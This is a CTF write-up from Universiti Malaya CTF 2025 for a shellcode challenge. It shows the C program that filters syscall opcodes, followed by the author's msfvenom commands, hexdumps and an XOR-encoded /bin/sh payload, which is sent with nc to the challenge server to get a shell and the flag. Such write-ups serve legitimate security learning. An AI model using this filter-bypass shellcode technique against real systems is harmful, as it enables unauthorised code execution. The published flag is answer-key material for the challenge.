Post

Universiti Malaya CTF 2025

Walkthrough of UM CTF 2025 binary exploitation challenge.

Universiti Malaya CTF 2025

💥 BINARY EXPLOITATION


Hint: 🔍🧬Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>

void *shellcode;
size_t shellcode_size;

void vuln() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    shellcode = mmap((void *)0x26e45000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, 0, 0);

    puts("Enter 0x1000:");
    shellcode_size = read(0, shellcode, 0x1000);
    for (int i = 0; i < shellcode_size; i++) {
        uint16_t *scw = (uint16_t *)((uint8_t *)shellcode + i);
        if (*scw == 0x80cd || *scw == 0x340f || *scw == 0x050f) {
            printf("Bad Byte at %d!\n", i);
            exit(1);
        }
    }

    puts("Executing shellcode!\n");
    ((void(*)())shellcode)();
}

int main() {
    vuln();
    return 0;
}

🔎 INITIAL OBSERVATION

1
  shellcode = mmap((void *)0x26e45000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, 0, 0);

This memory setup can be write down instructions and immediately carry them out. The PROT_READ|PROT_WRITE|PROT_EXEC flags together mean this memory can be read from, written to, and run as code.

1
2
3
4
  if (*scw == 0x80cd || *scw == 0x340f || *scw == 0x050f) {
            printf("Bad Byte at %d!\n", i);
            exit(1);
        }

This segment of code showing its banning direct system calls like ,syscalls,sysenter and int0x80 a traditional way to make system calls on 32 bit linux.

1
2
 puts("Executing shellcode!\n");
    ((void(*)())shellcode)();

If 0x80cd,0x340f,0x050f was called it will showing bad byte and if no bad byte not appear it will execute the shellcode.


🧨EXPLOITATION ANALYSIS

1
2
3
4
5
6
(luna@faris)-[~/um]
└─$ msfvenom -p linux/x64/exec CMD="/bin/sh" -f raw > babysc.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 44 bytes

Im just gonna use the msfvenom on this part.

1
2
3
4
(luna@faris)-[~/um]
└─$ (cat babysc.bin; cat) | nc 34.133.69.112 10001
Enter 0x1000
Bad Byte at 42!
1
2
3
4
5
6
(luna@faris)-[~/um]
└─$ hexdump -C babysc.bin
00000000  48 b8 2f 62 69 6e 2f 73  68 00 99 50 54 5f 52 66  |H./bin/sh..PT_Rf|
00000010  68 2d 63 54 52 e8 08 00  00 00 2f 62 69 6e 2f  |h-cTR...../bin/|
00000020  73 68 00 56 57 54 5e 6a  3b 58 0f 05           |sh.VWT^j;X..|
0000002c

I been wondering why its saying bad byte on this and decide to use hexdump on this part and its obviously im calling direct syscalls on /bin/sh so i decide to use xor encoder to encode the shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(luna@faris)-[~/Downloads]
└─$ msfvenom -p linux/x64/exec CMD="/bin/sh" -f raw -e x64/xor -o babysc.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 87 (iteration=0)
x64/xor chosen with final size 87
Payload size: 87 bytes
Saved as: babysc.bin

(luna@faris)-[~/Downloads]
└─$ hexdump -C babysc.bin
00000000  48 b1 c9 9e 48 81 e9 fa  ff ff ff 48 8d 05 ef ff  |H..H.......H....|
00000010  ff ff bb ef c8 f9 b6 62  b2 97 50 48 31 58 27 48  |....b..b.PH1X'H|
00000020  2d f8 ff ff ff e2 f4 a7  70 d6 d4 0b dc b8 23 87  |-...........p...#.|
00000030  c0 e0 6e 36 ed c5 36 87  e5 9a e2 3c e0 7f 58 ef  |..n6..6......<.X.|
00000040  c8 f9 99 00 db f9 7f 9c  a0 f9 e0 35 e6 c9 3a d4  |............5..:.|
00000050  90 f6 b3 62 b2 97 50                          |...b..P|
00000057

Nice! We can see that its no longer using direct syscalls.

🎉 Result

1
2
3
4
5
6
7
8
9
10
(luna@faris)-[~/um]
└─$ (cat babysc.bin; cat) | nc 34.133.69.112 10001
Enter 0x1000
Executing shellcode!

ls
babysc
flag.txt
limauaiakosong
supgais
1
Flag:umcs{shellcoding_78b18b51641a3d8ea260e91d7d05295a}
This post is licensed under CC BY 4.0 by the author.